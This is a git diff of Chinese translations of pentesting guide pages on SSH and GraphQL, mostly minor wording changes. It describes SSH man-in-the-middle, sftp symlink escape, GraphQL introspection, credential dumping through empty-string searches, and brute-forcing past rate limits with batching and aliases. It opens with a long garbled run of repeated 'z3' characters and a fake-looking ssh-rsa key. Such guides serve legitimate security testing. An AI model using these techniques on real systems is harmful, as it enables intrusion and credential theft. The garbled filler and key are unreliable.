z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z
|
||||
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6
|
||||
```bash
|
||||
ssh-keyscan -t rsa <IP> -p <PORT>
|
||||
```
|
||||
|
@ -144,7 +144,7 @@ msf> use scanner/ssh/ssh_identify_pubkeys
|
|||
|
||||
### Kerberos
|
||||
|
||||
**crackmapexec**使用`ssh`协议可以使用`--kerberos`选项来**通过Kerberos进行身份验证**。\
|
||||
**crackmapexec**使用`ssh`协议可以使用`--kerberos`选项**通过Kerberos进行身份验证**。\
|
||||
有关更多信息,请运行`crackmapexec ssh --help`。
|
||||
|
||||
## 默认凭据
|
||||
|
@ -174,7 +174,7 @@ msf> use scanner/ssh/ssh_identify_pubkeys
|
|||
|
||||
* 用户流量被重定向到攻击机器
|
||||
* 攻击者监视连接到SSH服务器的尝试,并将其重定向到其自己的SSH服务器
|
||||
* 攻击者的SSH服务器被配置为首先记录所有输入的数据,包括用户的密码,其次发送命令到用户想要连接的合法SSH服务器以执行这些命令,然后将结果返回给合法用户
|
||||
* 攻击者的SSH服务器被配置为首先记录所有输入的数据,包括用户的密码,其次发送命令到用户想要连接的合法SSH服务器以执行它们,然后将结果返回给合法用户
|
||||
|
||||
\*\*\*\*[**SSH MITM**](https://github.com/jtesta/ssh-mitm) \*\*\*\*正是上述描述的操作。
|
||||
|
||||
|
@ -184,7 +184,7 @@ msf> use scanner/ssh/ssh_identify_pubkeys
|
|||
|
||||
### Root登录
|
||||
|
||||
默认情况下,大多数SSH服务器实现将允许root登录,建议禁用它,因为如果此帐户的凭据泄漏,攻击者将直接获得管理员权限,这还将允许攻击者对该帐户进行暴力破解攻击。
|
||||
默认情况下,大多数SSH服务器实现将允许root登录,建议禁用它,因为如果此帐户的凭据泄漏,攻击者将直接获得管理员权限,这还将允许攻击者对此帐户进行暴力破解攻击。
|
||||
|
||||
**如何禁用openSSH的root登录:**
|
||||
|
||||
|
@ -272,14 +272,14 @@ sftp> symlink / froot
|
|||
|
||||
### 身份验证方法
|
||||
|
||||
在高安全环境中,通常会启用基于密钥或双因素身份验证,而不是简单的基于密码的身份验证。但是,通常在启用更强的身份验证方法的同时,不禁用较弱的方法。一个常见的情况是在openSSH配置中启用`publickey`并将其设置为默认方法,但不禁用`password`。因此,通过使用SSH客户端的详细模式,攻击者可以看到启用了较弱的方法:
|
||||
在高安全环境中,通常会启用基于密钥或双因素身份验证,而不是简单的基于密码的身份验证。但是,通常在启用更强的身份验证方法时,不会禁用较弱的方法。一个常见的情况是在openSSH配置中启用`publickey`并将其设置为默认方法,但不禁用`password`。因此,通过使用SSH客户端的详细模式,攻击者可以看到启用了较弱的方法:
|
||||
```
|
||||
$ ssh -v 192.168.1.94
|
||||
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
||||
...
|
||||
debug1: Authentications that can continue: publickey,password,keyboard-interactive
|
||||
```
|
||||
例如,如果设置了身份验证失败限制,并且您从未有机会到达密码方法,您可以使用`PreferredAuthentications`选项来强制使用此方法。
|
||||
例如,如果设置了身份验证失败限制,并且您从未有机会使用密码方法,您可以使用`PreferredAuthentications`选项来强制使用此方法。
|
||||
```
|
||||
$ ssh -v 192.168.1.94 -o PreferredAuthentications=password
|
||||
...
|
||||
|
@ -305,42 +305,15 @@ SSH服务器的配置文件位于`/etc/ssh/`目录中。主要的配置文件是
|
|||
$ sudo nano /etc/ssh/sshd_config
|
||||
```
|
||||
|
||||
### Authentication Methods
|
||||
### Translation:
|
||||
### 配置文件
|
||||
|
||||
### 身份验证方法
|
||||
SSH服务器的配置文件位于`/etc/ssh/`目录中。主要的配置文件是`sshd_config`,其中包含了SSH服务器的设置。
|
||||
|
||||
The `sshd_config` file allows you to specify which authentication methods are allowed for SSH connections. It is important to review and configure these methods to ensure that only the expected methods are authorized.
|
||||
|
||||
Look for the `AuthenticationMethods` directive in the `sshd_config` file. By default, it is set to `password` and `publickey`, which means both password and public key authentication methods are allowed.
|
||||
|
||||
To restrict the authentication methods, modify the `AuthenticationMethods` directive accordingly. For example, to only allow public key authentication, set it to:
|
||||
|
||||
```
|
||||
AuthenticationMethods publickey
|
||||
```
|
||||
|
||||
Save the changes and restart the SSH service for the new configuration to take effect:
|
||||
要查看SSH服务器的配置,请使用文本编辑器打开`sshd_config`文件:
|
||||
|
||||
```bash
|
||||
$ sudo service ssh restart
|
||||
```
|
||||
|
||||
### 身份验证方法
|
||||
|
||||
`sshd_config`文件允许您指定SSH连接所允许的身份验证方法。重要的是要检查和配置这些方法,以确保只有预期的方法被授权。
|
||||
|
||||
在`sshd_config`文件中查找`AuthenticationMethods`指令。默认情况下,它设置为`password`和`publickey`,这意味着密码和公钥身份验证方法都是允许的。
|
||||
|
||||
要限制身份验证方法,请相应地修改`AuthenticationMethods`指令。例如,要仅允许公钥身份验证,请将其设置为:
|
||||
|
||||
```
|
||||
AuthenticationMethods publickey
|
||||
```
|
||||
|
||||
保存更改并重新启动SSH服务以使新配置生效:
|
||||
|
||||
```bash
|
||||
$ sudo service ssh restart
|
||||
$ sudo nano /etc/ssh/sshd_config
|
||||
```
|
||||
```
|
||||
ssh_config
|
||||
|
@ -360,7 +333,7 @@ id_rsa
|
|||
* You can find interesting guides on how to harden SSH in [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html)
|
||||
* [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的系统 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
|
|
|
@ -78,12 +78,10 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy
|
|||
?query={}
|
||||
?query={thisdefinitelydoesnotexist}
|
||||
```
|
||||
![](<../../.gitbook/assets/image (205) (1).png>)
|
||||
|
||||
**通过内省枚举数据库模式**
|
||||
|
||||
{% hint style="info" %}
|
||||
如果启用了内省但上述查询无法运行,请尝试从查询结构中删除 `onOperation`、`onFragment` 和 `onField` 指令。
|
||||
如果启用了内省但上述查询无法运行,请尝试从查询结构中删除`onOperation`、`onFragment`和`onField`指令。
|
||||
{% endhint %}
|
||||
```bash
|
||||
#Full introspection query
|
||||
|
@ -182,25 +180,17 @@ name
|
|||
types {
|
||||
name
|
||||
kind
|
||||
description
|
||||
fields {
|
||||
name
|
||||
description
|
||||
args {
|
||||
type {
|
||||
name
|
||||
description
|
||||
type {
|
||||
name
|
||||
kind
|
||||
}
|
||||
kind
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
这个查询用于获取GraphQL schema的详细信息。它返回了所有类型的名称、种类和描述,以及每个字段的名称、描述和参数的信息。
|
||||
```
|
||||
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
|
||||
```
|
||||
|
@ -234,7 +224,7 @@ query={flags{name, value}}
|
|||
```javascript
|
||||
query={hiddenFlags}
|
||||
```
|
||||
在另一个例子中,"_Query_" 类型对象中有两个对象:"_user_" 和 "_users_"。如果这些对象不需要任何参数进行搜索,可以通过请求所需的数据来检索它们的所有信息。在这个例子中,你可以提取保存的用户名和密码:
|
||||
在另一个例子中,"_Query_" 类型对象中有两个对象:"_user_" 和 "_users_"。如果这些对象不需要任何参数来搜索,可以通过请求所需的数据来检索它们的所有信息。在这个例子中,你可以提取保存的用户名和密码:
|
||||
|
||||
![](<../../.gitbook/assets/image (208).png>)
|
||||
|
||||
|
@ -259,7 +249,7 @@ query={hiddenFlags}
|
|||
|
||||
**查询字符串转储技巧(感谢 @BinaryShadow\_)**
|
||||
|
||||
如果你可以通过字符串类型进行搜索,比如:`query={theusers(description: ""){username,password}}`,并且你**搜索一个空字符串**,它将**转储所有数据**。(_请注意,此示例与教程示例无关,对于此示例,假设你可以使用名为 "**theusers**" 的字符串字段 "**description**" 进行搜索_)。
|
||||
如果你可以通过字符串类型进行搜索,比如:`query={theusers(description: ""){username,password}}`,并且你搜索一个空字符串,它将**转储所有数据**。(_请注意,此示例与教程示例无关,对于此示例,假设你可以使用名为 "**theusers**" 的字符串字段 "**description**" 进行搜索_)。
|
||||
|
||||
GraphQL 是一项相对较新的技术,正在开始在初创公司和大型企业中获得一些关注。除了默认缺少身份验证外,GraphQL 端点可能还容易受到其他错误的影响,例如 IDOR。
|
||||
|
||||
|
@ -275,7 +265,7 @@ email
|
|||
}
|
||||
}
|
||||
```
|
||||
您可以通过姓名搜索人员并获取他们订阅的电影:
|
||||
您可以通过姓名搜索人员,并获取他们订阅的电影:
|
||||
```javascript
|
||||
{
|
||||
searchPerson(name: "John Doe") {
|
||||
|
@ -300,7 +290,7 @@ name
|
|||
}
|
||||
}r
|
||||
```
|
||||
甚至可以使用别名来建立多个不同对象之间的关系:
|
||||
甚至可以使用别名来表示多个不同对象之间的关系:
|
||||
```javascript
|
||||
{
|
||||
johnsMovieList: searchPerson(name: "John Doe") {
|
||||
|
@ -333,7 +323,7 @@ name
|
|||
|
||||
对于此示例,假设存在一个由电子邮件和姓名标识的**人员**数据库和由名称和评级标识的**电影**。**人员**可以与其他**人员**成为**朋友**,并且一个人可以**拥有电影**。
|
||||
|
||||
在数据库中创建新电影的变异可以如下所示(在此示例中,变异被称为`addMovie`):
|
||||
在数据库中创建新**电影**的变异可以如下所示(在此示例中,变异被称为`addMovie`):
|
||||
```javascript
|
||||
mutation {
|
||||
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
|
||||
|
@ -346,7 +336,7 @@ rating
|
|||
```
|
||||
**注意查询中同时指示了数据的值和类型。**
|
||||
|
||||
还可能有一个**变异**来**创建**人员(在此示例中称为`addPerson`),并带有朋友和文件(请注意,在创建与它们相关的人员之前,朋友和电影必须存在):
|
||||
还可能有一个**mutation**来**创建**人员(在这个例子中称为`addPerson`),并且有朋友和文件(请注意,在创建与它们相关的人员之前,朋友和文件必须存在):
|
||||
```javascript
|
||||
mutation {
|
||||
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
|
||||
|
@ -376,7 +366,8 @@ releaseYear
|
|||
```
|
||||
### 在一个API请求中批量暴力破解
|
||||
|
||||
这些信息来自[https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)。通过GraphQL API进行身份验证,同时发送多个带有不同凭据的查询来进行检查。这是一种经典的暴力破解攻击,但现在由于GraphQL的批处理功能,可以在一个HTTP请求中发送多个登录/密码对。这种方法会欺骗外部速率监控应用程序,让它们认为一切正常,没有暴力破解机器人试图猜测密码。
|
||||
这些信息来自[https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)。\
|
||||
通过GraphQL API进行身份验证,同时发送多个具有不同凭据的查询来进行检查。这是一种经典的暴力破解攻击,但现在由于GraphQL的批处理功能,可以在一个HTTP请求中发送多个登录/密码对。这种方法会欺骗外部速率监控应用程序,让它们认为一切正常,没有暴力破解机器人试图猜测密码。
|
||||
|
||||
下面是一个应用程序身份验证请求的最简单演示,每次同时使用3个不同的电子邮件/密码对。显然,可以以相同的方式在单个请求中发送数千个:
|
||||
|
||||
|
@ -392,11 +383,11 @@ releaseYear
|
|||
|
||||
此外,Burp Suite扩展程序[**GraphQuail**](https://github.com/forcesunseen/graphquail)扩展程序**观察通过Burp传递的GraphQL API请求**并**构建**一个内部GraphQL**模式**,每次看到一个新的查询时。它还可以为GraphiQL和Voyager公开模式。当收到内省查询时,该扩展程序返回一个虚假的响应。因此,GraphQuail显示了API中可用于使用的所有查询、参数和字段。有关更多信息,请[**查看此处**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。
|
||||
|
||||
可以在[**这里找到一个不错的词汇表**](https://github.com/Escape-Technologies/graphql-wordlist?)来发现GraphQL实体。
|
||||
可以在[**这里找到一个不错的词汇表**](https://github.com/Escape-Technologies/graphql-wordlist?)来发现[**GraphQL实体**]。
|
||||
|
||||
### 绕过GraphQL内省防御 <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
||||
|
||||
如果无法运行用于测试的API的内省查询,请尝试在`__schema`关键字之后插入一个**特殊字符**。
|
||||
如果无法运行用于测试的API的内省查询,请尝试在`__schema`关键字之后插入**特殊字符**。
|
||||
|
||||
当开发人员禁用内省时,他们可能会使用正则表达式来排除查询中的`__schema`关键字。您应该尝试像**空格**、**换行符**和**逗号**这样的字符,因为它们被GraphQL忽略,但不被有缺陷的正则表达式忽略。
|
||||
|
||||
|
@ -464,19 +455,19 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
|||
|
||||
通过链接查询可以绕过弱身份验证系统。
|
||||
|
||||
在下面的示例中,您可以看到操作是"forgotPassword",它应该只执行与之关联的forgotPassword查询。但是,我们可以通过在末尾添加一个查询来绕过此限制,例如在这种情况下,我们添加了"register"和一个用户变量,以便系统将其注册为新用户。
|
||||
在下面的示例中,您可以看到操作是"forgotPassword",它应该只执行与之关联的forgotPassword查询。但是,我们可以通过在末尾添加一个查询来绕过此限制,例如在这种情况下,我们添加了"register"和一个用户变量,系统将其注册为新用户。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## 使用别名绕过速率限制
|
||||
|
||||
通常情况下,GraphQL对象不能包含具有相同名称的多个属性。别名允许您通过**显式命名要返回的属性**来绕过此限制。您可以使用别名在一个请求中返回**同一类型的多个**对象实例。
|
||||
通常情况下,GraphQL对象不能包含具有相同名称的多个属性。别名允许您通过**显式命名您希望** API 返回的属性来绕过此限制。您可以使用别名在一个请求中返回**同一类型的多个**对象实例。
|
||||
|
||||
有关GraphQL别名的更多信息,请参见[别名](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)。
|
||||
有关GraphQL别名的更多信息,请参阅[别名](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)。
|
||||
|
||||
虽然别名旨在减少您需要进行的API调用次数,但它们也可以用于暴力破解GraphQL端点。
|
||||
虽然别名旨在减少您需要进行的API调用数量,但它们也可以用于暴力破解GraphQL端点。
|
||||
|
||||
许多端点都会有某种**速率限制器来防止暴力破解攻击**。某些速率限制器基于接收到的**HTTP请求的数量**而不是在端点上执行的操作数量。因为别名有效地使您能够在单个HTTP消息中发送多个查询,所以它们可以绕过此限制。
|
||||
许多端点都会有某种形式的**速率限制器,以防止暴力破解攻击**。某些速率限制器基于接收到的**HTTP请求的数量**而不是在端点上执行的操作数量。因为别名有效地使您能够在单个HTTP消息中发送多个查询,所以它们可以绕过此限制。
|
||||
|
||||
下面是一个简化的示例,显示了一系列**别名查询,检查商店折扣代码是否有效**。这个操作可能会绕过速率限制,因为它只是一个HTTP请求,即使它可能用于一次性检查大量的折扣代码。
|
||||
```bash
|
||||
|
@ -497,10 +488,11 @@ valid
|
|||
|
||||
### 漏洞扫描器
|
||||
|
||||
